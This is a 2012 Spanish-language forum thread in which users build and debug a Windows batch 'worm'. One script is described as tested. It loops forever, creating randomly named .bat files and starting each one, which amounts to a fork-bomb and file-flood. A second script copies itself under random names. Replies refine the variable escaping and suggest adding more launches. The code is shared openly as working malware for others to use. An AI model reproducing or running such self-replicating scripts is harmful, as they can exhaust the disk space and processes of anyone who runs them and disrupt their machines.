[BATCH] Worm. ¿Funcionaria?

Iniciado por Ori-chan, 22 Diciembre 2012, 16:52 PM

0 Miembros y 1 Visitante están viendo este tema.

Eleкtro

@Seazoux
Es un """"bat-gusano"""" con un bucle infinito que genera archivos con nombre aleatorio y los inicia.




El código de arriba no te va a funcionar, por esta línea:
echo @echo off>>%U%>>%T%.bat
Como ya dije, hay que escapar los caracteres, así si que funciona (Comprobado):

Código (dos) [Seleccionar]
@echo off
title VM
color 02

:go
set "U=%random%%random%%random%%random%%random%%random%%random%%random%%random%"

(
echo @echo off
echo set "T=%random%%random%%random%%random%%random%%random%%random%%random%%random%"
echo :go
echo @echo off^>^>%T%.bat
echo start
echo goto :go
)>>"%U%.bat"

start /B %U%.bat
Goto :go


Saludos!








z3nth10n

Eso es mas p*tada que nada, yo he llegado a hacer un bat-bucle (todo a lo batman  :laugh:) que abre niñas del exorcistas y mas niñas del exorcistas xDDDDDDDDD

Interesados hablad por Discord.

Ori-chan

Cita de: Seazoux en 22 Diciembre 2012, 18:12 PM
Eso es mas p*tada que nada, yo he llegado a hacer un bat-bucle (todo a lo batman  :laugh:) que abre niñas del exorcistas y mas niñas del exorcistas xDDDDDDDDD

Me gustaria verlo, parece interesante  ;D


Meine programmen

Un pequeño dato Orion. Si pones
echo %random%>>%U%.bat
En %U%.bat no pondra
%random%
Si no que pondra un numero aleatorio. Para que el resultado sea el de arriba tienes que poner
echo %%random%%>> %U%.bat
Y si quieres que el resultado sea
echo %%random%%>>%U%.bat
El codigo deberia ser
echo echo %%%%random%%%%^>^>%%U%%.bat>>%U%.bat
No se si me hago de entender.

PD: Me gusto el hecho de que usases la U  :xD
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


Ori-chan

Cita de: Meine programmen en 22 Diciembre 2012, 19:01 PM
Un pequeño dato Orion. Si pones
echo %random%>>%U%.bat
En %U%.bat no pondra
%random%
Si no que pondra un numero aleatorio. Para que el resultado sea el de arriba tienes que poner
echo %%random%%>> %U%.bat
Y si quieres que el resultado sea
echo %%random%%>>%U%.bat
El codigo deberia ser
echo echo %%%%random%%%%^>^>%%U%%.bat>>%U%.bat
No se si me hago de entender.

PD: Me gusto el hecho de que usases la U  :xD

Bueno, EleKtro dice que lo ha probado y que va. Así que una de dos, o estas equivocado o funciona de las dos maneras.

PD: ¿Por que será que use la U?...  :silbar:


Meine programmen

El problema es que de la manera de Elektro crearia el mismo archivo con los parametros iniciales (Supongo, vamos, pero alguna cosa asi tiene que haber). Ademas, ¿No es mas efectivo crear una archivo que se copie a si mismo?
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


Ori-chan

Si, ademas se le podría meter algunos 'start' por ahí.


z3nth10n


Interesados hablad por Discord.

Eleкtro

#18
Cita de: Meine programmen en 22 Diciembre 2012, 19:34 PM
El problema es que de la manera de Elektro crearia el mismo archivo con los parametros iniciales (Supongo, vamos, pero alguna cosa asi tiene que haber). Ademas, ¿No es mas efectivo crear una archivo que se copie a si mismo?

El bat funciona, se generan miles de archivos y cada uno de ellos lanza un "Start", eso sí, un pequeño fallo hay que no me he puesto a investigar, porque se crea un archivo llamado ".bat", quizás no escapé alguna variable necesaria, no me he puesto a mirarlo.

Cita de: Meine programmen en 22 Diciembre 2012, 19:34 PM
¿No es mas efectivo crear una archivo que se copie a si mismo?
Aquí os dejo el código por si os sirve.

Código (dos) [Seleccionar]
@echo off

For /L %%# in (1,1,999999999999999999) do (
CLS
SET /A "Contador+=1"
(Call Copy /Y "%~0" "%%RANDOM%%%%RANDOM%%%%RANDOM%%.bat" 1>NUL)
Call Echo %%CONTADOR%% archivos creados...
Pause >NUL
)








Meine programmen

Cita de: EleKtro H@cker en 22 Diciembre 2012, 20:33 PM
Código (dos) [Seleccionar]
@echo off

For /L %%# in (1,1,999999999999999999) do (
CLS
SET /A "Contador+=1"
(Call Copy /Y "%~0" "%%RANDOM%%%%RANDOM%%%%RANDOM%%.bat" 1>NUL)
Call Echo %%CONTADOR%% archivos creados...
Pause >NUL
)


Me gusto el detalle de "archivos creados"  :xD.
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!